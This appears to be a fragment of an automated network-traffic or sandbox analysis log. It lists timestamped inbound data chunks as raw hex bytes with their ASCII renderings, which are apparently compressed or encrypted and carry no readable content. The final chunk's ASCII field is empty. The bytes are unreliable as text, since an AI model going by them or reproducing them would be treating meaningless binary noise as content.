2021-12-01 08:15:23 UTC	3641	IN	Data Raw: 75 be 7e 20 de 4c 7e 01 d5 62 57 97 33 90 af 63 31 04 dc e0 03 3e 23 cb 31 e6 52 f1 db 71 71 51 64 dd 84 29 b1 32 bc 19 67 ab 69 5d 30 ab 83 48 f1 7e 44 13 8c a0 34 b3 21 b4 5a cb fa 22 34 d4 71 fd 65 6e cd 82 2b 24 1a b9 9f a2 ef 19 a2 46 79 b1 28 ea c3 95 4c 1e e1 a9 10 0e 41 14 20 a7 75 df c7 0c 6f be bc 74 9f 62 a3 0d a6 2c cf 17 29 b8 8e 47 cb 92 e7 eb 7b 0c f4 85 d6 92 fa be b3 e1 c9 16 fa 58 9a 68 25 17 28 8f 46 9b 6d f1 7d 07 c7 11 e1 59 17 43 d2 5d 34 da fd da 1f 3f 5c 69 43 a4 ac 7e 22 4b 08 63 15 4a 26 49 b7 3f 00 14 24 58 4c ca 30 39 d3 9d e2 5c 49 93 21 0e 6b 04 94 3a 17 1d fc 01 df 24 31 d7 c1 5f fc b9 72 91 20 f9 97 23 3b bd 05 e9 ea d4 16 18 72 01 d0 5c 5f be 9d d1 e4 27 a8 82 50 fe 10 84 9a 69 63 29 c6 6d 80 ba f5 22 16 7a 22 87 ed 08 0f Data Ascii: u~ L~bW3c1>#1RqqQd)2gi]0H~D4!Z"4qen+$Fy(LA uotb,)G{Xh%(Fm}YC]4?\iC~"KcJ&I?$XL09\I!k:$1_r #;r\_'Pic)m"z"
2021-12-01 08:15:23 UTC	3657	IN	Data Raw: c8 64 2d 20 74 e4 e8 fc 3e 9c 56 35 1a bb 3c f9 ba b7 5b 99 93 64 cd a3 9e b5 91 dc e4 9d b0 fd 4d 23 bd 8a f6 21 e8 3b 6d 24 5c 31 cf ab 50 89 21 82 85 11 b0 6e bd a3 21 1c ae 34 da 75 f9 37 51 28 ba 3d e8 5e 48 31 ad 8b 70 67 e3 16 64 9a 29 6e 4d be 66 89 d6 d7 b5 b8 b3 74 df aa e9 c9 b0 fd 7e 68 24 42 b8 f4 63 dc c6 3a 34 88 70 8f d7 d1 f4 91 13 91 60 35 b8 33 af 76 ad 04 20 00 7b 7b 13 91 fe 38 7b 19 bf 2f 8b be 29 5c f3 a5 ab 91 e1 c1 c0 09 0f 27 63 a3 cd 84 a8 7b bb b3 b5 21 db 56 85 c0 d4 ef fb 6c b1 a0 3e 25 39 5d 40 ad b4 79 6d 26 76 7d c2 70 ad 0f 82 de 14 b7 8e dc d7 7b 79 a3 f6 88 7c 2f 24 51 c1 f9 e8 da 4f 7c 2b 95 e7 a5 46 d0 ea a1 9b cc 92 9a fb a9 4d a7 c4 76 47 4a 8d 03 d9 3e a9 84 d9 e9 d0 ea 0a bb a1 85 42 11 04 6a fb 2a 7a 61 51 53 99 Data Ascii: d- t>V5<[dM#!;m$\1P!n!4u7Q(=^H1pgd)nMft~h$Bc:4p`53v {{8{/)\'c{!Vl>%9]@ym&v}p{y\|/$QO\|+FMvGJ>Bj*zaQS
2021-12-01 08:15:23 UTC	3673	IN	Data Raw: c4 31 ee 19 09 13 7c 24 0e 9c fb 5a d1 f8 38 e4 8a 87 a9 f1 22 95 46 5b dd 48 d9 ca 37 7c 9a 5c 87 43 91 81 14 b9 27 95 d1 a9 64 84 fb 3c a5 4c 9f c8 51 1d 90 0f 15 37 40 4e c0 4a 28 8a f6 e7 6b 15 28 5e f4 5e 43 22 c8 96 75 36 19 6f 8c dc 18 15 a2 32 d0 38 6b df 01 f9 42 9d 54 85 0e 30 40 3d 34 cd 63 a4 c5 a9 2c b8 7d 09 1e 99 c1 c1 7b fc ef 75 66 f1 23 2a bc c0 41 d2 a8 e6 fa e5 bb 3a 80 27 3e e2 00 48 80 a9 87 09 d1 c9 fe 8a 06 f6 1e 5a 39 ac 21 44 bf d7 59 f6 3d 0e 4e 09 1e 5b 1c f9 01 f9 f1 ef 3a 50 00 75 1a 47 59 90 1e 5e e4 32 d9 6e ae ea c3 49 45 e6 3f 64 ad 00 b5 15 64 49 21 d3 f0 01 6a cc 01 50 d9 09 21 f4 8c 6b f1 40 69 c2 6d 43 5e cc 6a b8 e6 81 03 2a 8f 25 aa 9d 05 84 e9 ca c0 95 69 98 50 ec c1 40 6f 1e e1 06 b2 6f 89 b6 a9 52 07 6c dc 4c 88 Data Ascii: 1\|$Z8"F[H7\|\C'd<LQ7@NJ(k(^^C"u6o28kBT0@=4c,}{uf#A:'>HZ9!DY=N[:PuGY^2nIE?ddI!jP!k@imC^j%iP@ooRlL
2021-12-01 08:15:23 UTC	3689	IN	Data Raw: 07 92 28 93 f3 87 36 74 88 40 cc 90 8f 23 1d 8f f4 44 58 e9 ba 5f 9a 66 e5 dc d7 6b 20 66 6c 00 8e 62 73 a6 e6 49 b4 c0 54 79 5c 63 95 c5 9b 38 53 c5 23 c8 50 cf 75 4c 8b 2e e0 62 ab 8e 96 f1 83 7b 84 ac 2c 13 99 f3 ef 1a 67 cf 39 0d 11 58 df 25 9b e1 17 c0 5c 3b f8 ac c6 50 11 30 3d ef 19 ff 95 7c ca eb 09 99 97 7e e8 35 d9 36 73 eb ba 56 77 5a f2 1d 30 a2 41 eb 37 27 36 35 cc f1 9a 9d a3 37 8f 3c b7 59 7d f4 90 33 1b 54 f4 6a 00 a1 13 b6 b8 60 00 74 ba 44 de 1e c8 4b bf 93 18 4d 7a 6a b4 5b 31 9c 24 e8 6b ee 80 fe a8 7c 04 ba 81 2f e2 dd 6b f6 e0 4c 81 f3 7b ce 4c 3b 75 b3 41 06 ed 0f 03 d0 ea 55 3e b1 0d c3 0c 3f 8b ab de 70 c1 3c 21 e3 ca 5b d7 91 56 68 44 88 fc de 96 0b 28 e1 3e ce 6a 7b d8 a4 e4 7c 97 41 07 5f 54 20 5b 06 bc 77 8c 7f 98 10 a4 95 11 Data Ascii: (6t@#DX_fk flbsITy\c8S#PuL.b{,g9X%\;P0=\|~56sVwZ0A7'657<Y}3Tj`tDKMzj[1$k\|/kL{L;uAU>?p<![VhD(>j{\|A_T [w
2021-12-01 08:15:23 UTC	3705	IN	Data Raw: 21 1a 16 03 b6 d6 b1 2c 95 48 34 20 6f e1 ce 15 fd 19 10 e0 57 7d a8 45 c6 80 b7 91 5c 7b e2 6b d8 af d3 50 1e 8e 9e 5d ec 12 ba 6d e9 58 2c 81 30 38 86 3a 35 c8 4f 61 f5 b6 eb 8f 29 01 4c b0 11 93 32 a5 ea 39 e5 4a de 9b b0 24 9b 01 5a 22 9a 72 dd 7d 9c c4 c6 cb 28 8b 0f 2e d3 f5 c4 95 de cf a5 34 fb 3e 69 fa b9 ce ed d9 b0 6d 48 18 cb 08 f4 ed 34 98 79 35 98 3f 46 e6 8a c7 2c b0 6a 2d 3f 73 4c 87 b0 fb 99 c0 3d 62 af 46 ec d9 c5 33 c1 e1 e3 9b 2a d8 e9 1e af 51 90 b5 9c 23 8f b1 be d5 22 4d 6d e3 f7 50 ce 54 78 81 ad 94 0f 33 2e 53 43 cf bd 9d 33 d6 29 ff 52 df c0 73 1c f5 d2 c3 40 d5 5b b6 2a 65 ec bd 2a 3d 73 a7 13 6a 80 79 4e 91 33 f6 97 1d 56 9b e2 a9 68 5a ae a6 13 c4 59 75 7f f2 29 10 d5 2c 63 7f 73 d8 04 28 ca 41 d3 81 05 45 2a 08 fe 49 11 ce 35 Data Ascii: !,H4 oW}E\{kP]mX,08:5Oa)L29J$Z"r}(.4>imH4y5?F,j-?sL=bF3Q#"MmPTx3.SC3)Rs@[e=sjyN3VhZYu),cs(AEI5
2021-12-01 08:15:23 UTC	3721	IN	Data Raw: 82 f5 33 58 35 70 54 b3 eb 6e 8f 8f e5 4a c7 e4 a1 66 c0 f5 8e 89 ec 97 a5 3a ac 42 b2 bb fc 57 62 c9 ef 01 08 88 49 21 9b 20 55 bb bd 58 4e 54 57 03 2d ae 16 19 cd 1d 51 43 6d 46 5d d9 bd 7f 43 c0 55 5a c1 39 30 88 dc d0 20 14 fc b0 eb a1 83 09 50 df 66 1a a9 f3 d1 c7 9b 1f b0 85 11 ff 53 26 df 22 c9 79 5c 53 18 31 48 d3 d6 d7 6e 6b 65 c6 04 04 e9 25 fc cd 01 ee 23 23 e5 f8 88 38 03 93 6f 29 07 d1 39 41 08 0f ea b9 12 8f db 6b 6b 64 f2 d4 bb 04 bb 2c d4 2f c4 8b 3b 14 a5 6b af 54 2d 78 b0 60 c9 33 20 e2 07 a8 e7 32 71 10 4c 73 95 fa 7d 36 cb 24 d8 ae e0 79 ec f3 08 7a 48 04 55 54 af 9d 81 f5 9c 9f 50 1f ef 04 1c 59 b3 f9 07 64 82 6c 31 02 01 7c 6c fd c7 24 46 17 21 63 9b cc 8d c7 f3 4b 1d 4f 15 6c 29 53 3e 54 a1 c7 b3 df 0a 57 90 92 2c f3 ee 7a 73 86 6c Data Ascii: 3X5pTnJf:BWbI! UXNTW-QCmF]CUZ90 PfS&"y\S1Hnke%##8o)9Akkd,/;kT-x`3 2qLs}6$yzHUTPYdl1\|l$F!cKOl)S>TW,zsl
2021-12-01 08:15:23 UTC	3737	IN	Data Raw: e7 ee d8 60 be a3 47 40 78 d0 5a 08 65 cf 5a 11 be c6 59 3c d0 63 e4 73 7c e6 03 b2 ef 8e 2e 64 dd 1a 57 9b f7 e3 6a 9b 63 11 b6 e9 e0 8a 27 5e ed 15 50 49 83 a2 10 70 9f a6 12 c9 3b f1 80 38 86 17 01 74 aa 5b 33 9e 01 10 cd a9 e3 8b 35 96 08 7c cc 0c 46 ee 0c b6 74 c4 c3 e4 1d d0 b2 43 32 c2 8c bf 2e db 58 12 46 dd 1c bf 73 6d a9 22 b3 39 98 8d eb 4b 46 b1 6e 5a b6 dd 79 58 5d 9b 69 86 e1 52 51 04 ce aa ab 62 f6 e6 47 c8 22 4d f4 ad 48 9f 93 4e e4 cc 33 9b da d7 4c 5b d7 74 cc 56 e8 f1 d6 73 cd a4 61 ea bb 68 57 8f 99 f9 b3 8b b8 e7 87 61 39 a8 85 7e cf 17 62 77 51 a7 9c 9d d1 8d 1e 1a 09 f8 10 e0 32 d8 32 f8 15 11 aa e7 de 44 34 38 85 15 7c 44 90 c9 81 d5 32 3c 68 13 dd 20 b5 60 69 c7 d2 10 a7 6c 60 c2 2a 0a 0d d5 82 fa ee b6 65 b5 74 d0 ea 2d 33 f7 7b Data Ascii: `G@xZeZY<cs\|.dWjc'^PIp;8t[35\|FtC2.XFsm"9KFnZyX]iRQbG"MHN3L[tVsahWa9~bwQ22D48\|D2<h `il`*et-3{
2021-12-01 08:15:23 UTC	3753	IN	Data Raw: 00 6b ff bb 52 ea bc e9 2f 83 29 8e af 02 db bb fb 74 02 a9 20 26 77 63 3f 67 54 29 e2 f8 65 dd 59 b2 84 e6 b7 9a f2 11 6c ce 8a 2c de 2b 24 d5 80 df 14 46 a1 1b 79 42 eb 94 33 e0 ba ce 40 96 d4 21 db dd de b6 96 5a ae 39 1b ff 32 b8 67 d6 77 28 bf 0f 82 30 5f 50 88 54 83 b7 f2 c9 fb 75 7e d5 10 69 97 39 e4 cc 5b 2f be d2 73 6c 53 b1 e7 44 82 ad 4a a1 b4 6a 9a 62 65 2c a9 67 bf 1a d1 ec 29 5f d4 3b 58 ca ea 66 62 ee 36 02 28 82 38 57 a6 f3 30 b2 48 97 ec 75 28 a9 1f 30 9a 5f 1a 96 d9 8b 25 a4 0f a1 d5 da d3 9b a0 79 d3 1f e0 67 92 bd bd cd d7 83 b3 ce eb 08 19 62 14 f7 72 c2 28 f8 93 ff f9 64 ef 0d 79 46 4d c6 63 68 34 f3 42 93 3b d5 44 69 15 9c 09 7f 12 fc bb 9d 9e dc 18 65 e0 76 bf 51 d5 87 ea 12 08 43 87 f5 98 65 83 bd 1b e2 86 7e 28 e9 00 1f 85 b2 5b Data Ascii: kR/)t &wc?gT)eYl,+$FyB3@!Z92gw(0_PTu~i9[/slSDJjbe,g)_;Xfb6(8W0Hu(0_%ygbr(dyFMch4B;DievQCe~([
2021-12-01 08:15:23 UTC	3769	IN	Data Raw: 6a 41 5d 85 29 11 4c f8 fa 36 5a eb d6 46 1b 7f 0f 63 3a 46 b5 3c 6f d2 8f 0a 02 61 06 70 a3 14 68 7c e2 ca 8e 0f 10 6a e0 6e 4f 72 ae 5c 00 6d 7a 13 b9 62 98 0f be 2c eb 96 8e ea 1e a7 5d 5f 09 09 70 68 67 12 01 16 ac 88 d8 8e ca 48 c7 ab 08 45 db c2 ac 3e 4b 28 d8 cb 42 61 3f 16 63 70 e7 8f 9d 20 af 37 cb 8c ea 99 2a e5 73 35 fe 92 cb c2 8b 5f a0 23 59 ee 15 58 32 03 37 e7 1f 9d 22 1a 73 b5 94 1a 50 92 41 3c ab f1 1a 8f 7d f8 25 02 57 00 c5 6c 15 6d e0 e4 dd d2 68 b5 da f4 20 39 db e6 44 3e be eb fa 3d 1a 33 85 4c b3 f0 41 10 23 f6 92 4b 3c 29 2e 80 c6 dc 70 b8 0c 5b 53 7a 28 0a 52 bd 1a d9 4b 6e 43 0f b7 a6 df 4d 15 2a 3a 39 de 94 fb f2 ea 06 88 06 a1 41 ab 3b d2 4a 96 0c 5b 66 79 02 70 b4 49 50 f2 ac 3e 8d 62 ef 26 cc 54 62 f3 09 f8 a8 81 10 a5 e8 e7 Data Ascii: jA])L6ZFc:F<oaph\|jnOr\mzb,]_phgHE>K(Ba?cp 7s5_#YX27"sPA<}%Wlmh 9D>=3LA#K<).p[Sz(RKnCM:9A;J[fypIP>b&Tb
2021-12-01 08:15:23 UTC	3785	IN	Data Raw: e8 b6 40 2f f0 90 6a 33 4a db e3 23 c1 a6 65 e5 ff 97 83 c3 6e 0a 38 96 58 97 bb 8a 91 74 ac a2 a1 63 16 46 92 68 e0 e1 5a 2f b3 78 4a f0 6b 79 44 e5 31 58 07 d5 f8 d4 88 80 e4 6f 91 25 65 f7 21 f8 37 b0 23 9c 03 60 74 23 09 d6 35 15 7a 42 20 57 c5 fe 78 12 db a5 bc 32 5d c8 82 9e 67 e0 91 98 de a3 ed 43 45 19 4b 28 95 49 9c 38 2f 5d e1 68 c6 95 08 ff b3 12 8a b9 98 23 c3 17 00 d5 d7 fa a2 c6 3c ec bd 9d 8d 60 9c 9e 35 3d 35 81 2a 76 a0 81 31 33 84 db 85 a1 e7 f9 8a cd 33 12 30 af 22 e1 06 66 2b 50 75 54 3f 3f b5 60 e0 89 ef b0 e1 60 a9 f0 57 61 58 1e ac 70 cf 2e bc 9c 99 10 56 24 8b 84 1a e1 83 a3 51 fc 5c d2 6f 3c 66 b8 63 aa b1 a4 c0 08 97 d8 a8 12 83 da 4c a8 dd fc dd 36 1a 8e e6 a6 d6 6f f0 5c dd d0 77 bd 23 d9 b4 9b c2 18 38 03 51 10 33 cb 2e 6e 9d Data Ascii: @/j3J#en8XtcFhZ/xJkyD1Xo%e!7#`t#5zB Wx2]gCEK(I8/]h#<`5=5*v1330"f+PuT??``WaXp.V$Q\o<fcL6o\w#8Q3.n
2021-12-01 08:15:23 UTC	3801	IN	Data Raw: 76 4c 9d 2f fd 3f 46 77 11 55 df bc 8f 05 d7 f0 e4 4c 1c 58 df c8 00 4e bf 44 31 02 10 8e 8c 84 a9 4f 78 be 11 ab 36 a3 63 c5 2b a3 a1 c6 5f 59 45 a7 b1 fd 54 86 13 e5 c8 18 63 7e 73 6c 80 13 8f 74 73 0b 36 b2 d6 74 21 56 9a d2 aa 2d 92 05 dd 7f 4d 3b 67 db bb a3 dd 6c ec 14 70 ef 22 9b c4 18 e3 fc 2a d9 d1 bd 5f 5f d4 cb ba c6 1d 97 5e e4 f6 54 e0 ae ce 28 e7 2f 7a bc 8c 9e 1b 8e 03 54 65 62 4f f2 97 b2 3a 55 3a 07 c3 55 47 44 fe 87 38 bf 3f fe 5c e1 de 92 a7 52 a2 4e fb d4 4c 21 be 57 db 36 d6 d0 78 af 88 09 d3 c5 f8 ed c7 97 4b b9 f9 fe 8e 66 00 73 6a 98 fd c0 b9 af 1c 7c 2a 80 cc e1 a2 3c 78 7d dd 43 dc 7d 29 ed 00 b0 f3 f6 5f 2e 38 9b e6 5d 19 bb bb 5e b1 12 65 62 20 b0 f8 cf f0 2e 03 f8 30 7d c7 ed 9b 2e e0 bf 2d d7 9a fa 45 f1 32 9b 0d d5 16 e9 5f Data Ascii: vL/?FwULXND1Ox6c+_YETc~slts6t!V-M;glp"__^T(/zTebO:U:UGD8?\RNL!W6xKfsj\|<x}C})_.8]^eb .0}.-E2_
2021-12-01 08:15:23 UTC	3817	IN	Data Raw: e2 a4 69 53 55 1a 04 c3 bc 24 80 94 67 6c de 0f 63 20 25 53 a5 0f 80 d4 95 5f f9 5f b2 a5 2c 69 46 76 07 70 f6 a9 5f 3e 0f 3a 95 15 aa 66 72 60 69 b0 84 40 9a 1f c3 e9 18 f8 5e 66 11 df 12 c3 3e ca 37 89 7f 5a 9f 65 9c 89 2c f2 0b 46 c9 0b 5c de 76 85 27 56 5d 48 c8 e1 ed bd eb 37 1e 7c 39 fb e2 ba ac d8 06 26 49 42 e3 80 40 ea 77 f8 a2 ad 9b de d3 67 29 47 c1 c9 40 c5 0f 14 d9 1f 62 ac b7 f3 98 82 5a 59 b4 b1 e7 87 25 6e 84 b7 73 06 32 59 42 7e 18 a1 e0 09 a9 48 04 60 d9 a8 54 23 9e e5 c6 00 c2 bb 66 6a 9e 50 5a 12 33 fd ba d5 56 23 ef 8f e4 8f db f1 fb a0 2d 3c 94 77 7f d4 72 f7 b4 aa 15 d5 cc d9 a2 fb 3b 96 3f 42 8f 2e ed 99 5e a6 d3 62 f0 31 64 0c 1d 88 94 a0 6d 4b 59 61 db 28 7d 85 7a 92 59 c6 71 3a ee a3 d7 fd 11 64 08 b8 9f 2f 0a e6 48 15 46 64 4f Data Ascii: iSU$glc %S__,iFvp_>:fr`i@^f>7Ze,F\v'V]H7\|9&IB@wg)G@bZY%ns2YB~H`T#fjPZ3V#-<wr;?B.^b1dmKYa(}zYq:d/HFdO
2021-12-01 08:15:23 UTC	3833	IN	Data Raw: 55 14 3e 63 e0 18 e5 fa a5 05 9c a6 6c 70 4d 26 51 61 48 59 fa 78 7b ff 57 b4 1a 96 6d be 67 76 a2 23 44 f6 f4 47 a5 d9 af 93 9c 3f 3f af 20 08 77 6b 79 86 cb 17 0a da f7 9b fe 87 7e b6 8c 24 68 1c 72 3a ff fd 98 fd 49 d2 a8 f5 82 89 1b 75 7b 98 10 0d 7c 1a 36 3d 7a 7e c4 c0 a6 c9 80 53 2f 60 ff 1b 08 70 60 3c 90 a8 44 5d d2 0e 89 f4 a8 08 c3 3b 1b 15 d4 00 30 af 6b 24 0b 84 67 63 5b 33 d3 19 20 a1 a3 c4 9d eb 6b 22 9f de 6f b2 94 ca a4 f0 95 42 fb 69 9e b7 68 de 81 8d 32 56 12 a8 97 3f 69 96 7a 42 cd 27 00 65 fa 3e 55 27 ae f4 7e 79 3e 52 4a 3e 49 dd 35 74 35 bb 02 19 19 e5 bf 0d 19 5b f5 06 ab 72 1f 21 4f f9 d4 e1 a4 e3 55 0b 8e ee a7 40 cc f4 23 34 9d b5 ed b8 73 c3 58 6c 94 9e 1e f7 98 2e 90 a2 3b 65 10 65 ec 7f e8 2b 77 37 97 84 9a 3d e3 46 b1 1c ac Data Ascii: U>clpM&QaHYx{Wmgv#DG?? wky~$hr:Iu{\|6=z~S/`p`<D];0k$gc[3 k"oBih2V?izB'e>U'~y>RJ>I5t5[r!OU@#4sXl.;ee+w7=F
2021-12-01 08:15:23 UTC	3849	IN	Data Raw: f6 fb 6e 62 91 af 6a 90 72 ca 44 83 85 a1 f2 06 fc eb f4 94 a6 25 46 43 a2 3e ba 9a d7 f1 f2 ae 2d 3f 96 41 ec 52 c0 7e 35 19 03 60 73 3f 6c 0d 34 b7 ba 80 98 57 54 96 fe b9 10 85 31 11 6b 75 6e 1c 3b 50 55 28 2d df 81 7d 83 c0 9e c8 88 0f 04 1f d1 86 ae 47 16 d9 a8 6c 64 c8 d0 1a f0 b9 f4 3d 71 12 89 ba c7 dd 76 ab 51 62 73 76 2b 5a 4b c4 e0 a6 d3 27 1c d8 06 f2 eb 23 7e 30 6c e9 a7 6a 78 e5 eb 31 d0 d0 75 5a c1 ef b1 e8 52 4b 05 d2 9d c9 a7 f1 c0 10 db 01 08 64 fa 4e ba e7 2d 62 89 e6 24 b8 a2 df 7f 57 b2 c1 b4 38 09 68 9b fd 9d fc fd 49 cf 80 00 09 c3 ff 86 5e 38 2a d1 94 2c 2e 91 4b 87 2e bd 4a f7 af 90 70 90 98 0e da 36 a9 88 5e 26 6e 07 43 26 46 72 4f 00 ca b9 75 55 29 2c e6 44 88 83 1d 35 ec c0 71 d4 85 31 1e 90 49 4c 52 71 09 8c fc 1f 05 c8 69 0c Data Ascii: nbjrD%FC>-?AR~5`s?l4WT1kun;PU(-}Gld=qvQbsv+ZK'#~0ljx1uZRKdN-b$W8hI^8*,.K.Jp6^&nC&FrOuU),D5q1ILRqi
2021-12-01 08:15:23 UTC	3865	IN	Data Raw: d2 63 c0 9e 62 ce 4c db a8 90 87 a7 1f 98 11 10 7b 1a e1 0f 7f 59 05 89 cb f7 b5 c3 5d 9d e7 26 a1 32 83 b2 55 e9 e8 8c 84 c3 1f 48 ce d3 48 b1 2e 0c af 05 3b f2 d0 39 e8 77 b4 7b 7f 9b d5 a9 e9 89 00 d9 7b f6 03 39 c1 b0 42 e5 3a bb c9 4d 94 46 c5 56 fc d9 bd c3 e4 1f 75 02 0d cc a2 64 be 7a 3e f0 6e 10 90 c2 bd 0b 1e 2d 13 de 28 e9 67 85 29 7a fa 3f aa 70 21 50 41 e4 01 99 f1 df f0 4f 44 e9 97 1d c4 7e da d8 f9 3c 31 e0 ff 81 ad 6e 84 fb f2 02 79 0b 2f 27 4d 48 26 f4 59 a5 f7 c8 78 5a d3 62 6b b1 1b 48 79 0b 14 c3 19 d9 7f ba ce b7 00 58 63 ae 23 78 fc 21 10 c1 ac 0c 0b 7b 82 21 b0 45 7b be e4 03 aa 65 15 6a 36 bd c6 96 3d 44 0d 2b 34 4d 62 4f 08 86 2c 2c 19 e3 b8 f1 33 98 e7 8a 26 fe 23 7a 14 e4 9b 9d ac 1a 90 c2 a6 aa cd f5 44 cc 23 ce 7b bc 73 8c 02 Data Ascii: cbL{Y]&2UHH.;9w{{9B:MFVudz>n-(g)z?p!PAOD~<1ny/'MH&YxZbkHyXc#x!{!E{ej6=D+4MbO,,3&#zD#{s
2021-12-01 08:15:23 UTC	3881	IN	Data Raw: 81 07 85 be 6c 26 33 c8 2b ed cc cd 1a 08 56 ff 16 e5 fa 40 13 1b 82 38 78 5e 41 58 29 06 5f 55 b8 07 e4 7b f0 4b 41 c7 56 d1 0f 56 30 b2 39 ab f3 98 80 44 f9 53 51 cd 28 1e 68 1e 4b 6a fe e1 ba bf ec 90 86 65 ee 2d 42 15 88 20 13 04 67 b5 96 26 b6 56 2f 43 3d 5d b1 a9 5e 72 d6 05 1a bb d4 2f 9f 92 52 2c dc e5 88 96 ae b8 49 f2 f1 e8 0c ea 1b 33 26 41 46 20 41 6e 20 5c 64 b9 e2 47 89 a7 30 ce 9f 8d 89 21 61 86 fb 75 2c 04 21 f3 af 65 51 93 90 ae ec b1 ca f9 11 b0 ef 06 8e d8 be eb c8 33 40 54 bf 2b a1 be 42 d6 4d b8 4a b2 0e 12 ff 75 3f 69 2a 05 02 b6 f1 20 d1 bd b6 85 8a ca eb 0b 93 95 f5 6b 47 e4 9d b3 6d 2f dc 30 e3 d6 55 f1 5c d4 cf 97 c8 21 e5 e5 08 2f 62 36 2e dc ba 43 72 7c 52 6f ba e6 d6 33 61 38 c0 e4 0c 3a 92 bb 58 91 ce 19 43 fe cb 2d 72 51 5a Data Ascii: l&3+V@8x^AX)_U{KAVV09DSQ(hKje-B g&V/C=]^r/R,I3&AF An \dG0!au,!eQ3@T+BMJu?i* kGm/0U\!/b6.Cr\|Ro3a8:XC-rQZ
2021-12-01 08:15:23 UTC	3897	IN	Data Raw: 03 88 38 01 d2 fd fe ff ec c4 26 99 37 58 74 a9 a8 6d c3 16 94 68 b7 f9 9a 82 fa e5 41 37 0c ec d2 97 78 c4 0e 22 29 5d d4 4d bf a1 68 95 4b b5 94 aa 3c ba 18 9d f5 52 ed bb 77 44 bc ad d1 21 1c 9b a8 66 cb 00 29 8a 3d c6 e1 fe 55 80 2f cc e1 ba dc b3 39 bb 72 1f b6 aa b5 08 01 06 e7 f5 9b 40 8c 29 27 62 ec 9a ed 5e 5a 3f aa da d1 d8 ad fa f1 f7 31 ee 90 a0 c0 5b cf a9 d5 fd 8a 5f 35 e8 38 fc c4 8c ea d2 56 c5 9c 14 6d a8 ea 22 da 25 66 7d b6 c8 2d 75 cd d2 70 6d 41 76 f8 13 9a 99 a1 ad 6b 8a 8f de 06 87 3e 5d c4 da 48 02 ed 22 85 3d 4a 16 67 85 f9 39 58 a0 11 0e 46 b5 4d 10 f4 12 fd 84 63 af 92 c6 57 7a 80 d0 a5 4b a8 15 01 d8 19 ab f9 99 e6 d2 23 ab 5a b5 93 d5 a2 26 27 c0 84 9a 4d 1c 1f 84 a2 c2 fd 09 94 0b bd 60 40 53 65 3e 22 e8 32 75 3e f7 2d 1d 01 Data Ascii: 8&7XtmhA7x")]MhK<RwD!f)=U/9r@)'b^Z?1[_58Vm"%f}-upmAvk>]H"=Jg9XFMcWzK#Z&'M`@Se>"2u>-
2021-12-01 08:15:23 UTC	3913	IN	Data Raw: 46 c0 a9 af e6 2b 36 08 ac 9b 74 97 d5 95 0a f4 88 8a f5 a2 86 87 5b 82 a5 36 06 52 b7 2c 51 68 27 2c 64 64 e2 d4 22 54 31 b2 75 f4 56 89 e5 f3 ce 38 e8 82 4b 26 a0 8f 71 75 1f 8a 30 cf 9d 82 5b c0 44 ec ff 55 dd 54 e3 e3 00 77 09 29 ee 31 89 b7 b0 e0 b4 84 84 d1 b9 1b c6 8f d0 54 0c a6 40 54 56 a0 fb fc c8 93 4a da 89 33 6f b1 22 33 e7 60 91 c0 64 4e 2d c8 8a 9d a4 68 49 f7 5c d1 7d c0 ba 28 18 78 bd a8 89 09 bc b4 04 71 f2 26 35 c2 40 1e e5 ae 3f 0f f9 7b ca 32 16 83 e7 a0 76 98 10 f5 14 0d 83 d1 63 29 6e dc 55 e6 d8 70 00 8e 61 8f 5d 0a 4b 7c 74 d6 52 86 2a 3f 3f 10 f3 c8 10 a7 96 3b 58 f1 16 ce 9a a8 7c ff bc 69 6e 33 de 33 0c 8c da df c4 a5 b3 50 0f 9b 55 ca d7 e0 92 60 6f 29 1e 3e 35 e7 ba 40 37 2e 40 3f c8 8f 3c f7 9c 2d aa e3 ad bd 4e e4 a1 3e a2 Data Ascii: F+6t[6R,Qh',dd"T1uV8K&qu0[DUTw)1T@TVJ3o"3`dN-hI\}(xq&5@?{2vc)nUpa]K\|tR*??;X\|in33PU`o)>5@7.@?<-N>
2021-12-01 08:15:23 UTC	3917	IN	Data Raw: b2 c6 d8 0a 60 fa 27 86 2c 0f 70 9c f3 5b b2 cd 5a 37 38 48 d3 98 c3 e5 5e 79 f3 b7 bf a0 54 a3 5b 58 ac 2b 73 b8 6d 76 89 80 62 91 d4 c3 48 01 79 76 30 e9 de 72 7f 52 fa b3 0f 2f 55 bb 30 bf e3 d5 92 48 7f 02 3a 08 21 5e 13 f1 f3 7b 92 33 78 5e f3 85 e4 e0 e8 06 8f 92 f4 d5 62 8e 2e 12 15 b8 73 96 73 1f 08 30 b3 4f 66 e4 ed c3 04 3f 92 b5 c0 a3 d7 aa fc 2f ee f7 ca 44 68 e3 eb d7 82 60 4d 86 9c 02 c7 44 3a 80 e2 bb 2a 84 2d ef 41 c4 85 c3 d5 0f a4 44 83 82 f4 ec 84 49 c9 7f e8 5f d3 ff 8c 6f c5 6d cc 5c 19 50 f9 13 40 02 1b dd 7b e5 e4 2c b1 07 07 20 80 f1 71 0b a7 1f b3 cd 09 c4 b3 21 a2 4d ba f6 0f d2 43 84 ed 2c 5a c7 78 23 11 c8 a0 a2 b4 dc 62 a7 b6 71 ac bf 01 88 a5 43 38 97 80 af cd b6 d5 8d 14 05 d4 c0 cb fa 11 03 8b e7 38 8a 0b 48 13 2d 8a 33 49 Data Ascii: `',p[Z78H^yT[X+smvbHyv0rR/U0H:!^{3x^b.ss0Of?/Dh`MD:*-ADI_om\P@{, q!MC,Zx#bqC88H-3I
2021-12-01 08:15:23 UTC	3933	IN	Data Raw: 2c 13 d2 cb f9 2b 83 1c 4e 80 7c f7 8e c0 f1 95 d1 3b 75 83 a6 87 4f 12 4a 2b 55 63 1f b6 78 c4 e4 d8 a7 29 e5 79 22 24 2d 8f 8c 03 ec 21 66 5c b0 42 73 73 09 a7 3d 82 0d 0d 21 8d 86 fd 3d a5 eb 30 47 22 12 7c 39 5a 67 83 17 7d e7 3d 98 f8 ea 4b 32 c1 bf 84 2a 7f c1 b4 84 8a 38 f6 36 02 fd 2b 38 3f de f7 d8 f5 2a 9c 47 69 02 4a 21 b1 e9 ee 3f 56 59 e4 f8 97 21 35 dc e1 c4 7d a3 c2 c6 bb 80 49 00 a4 dc 94 80 ab f9 9a 07 be 96 22 28 74 c5 f6 d8 ac ce e7 fa b3 76 0e e5 35 f2 17 11 54 f3 57 d7 9b 85 d4 38 ef 02 8f 1c 72 dc c5 59 4f db 17 01 e1 ef fe 3a 75 91 1f dd 8e 7e 2f 7d 04 af ac 19 e4 92 d2 99 f8 ef 81 00 24 a8 74 03 b7 80 1c f4 d4 89 0e 33 a9 20 71 e3 76 ad 7d 28 7c ae be d0 72 74 2f 1b 3c be e4 36 9a 97 28 29 2f b6 f4 9a da 17 17 53 b5 4b 5d f6 9d 19 Data Ascii: 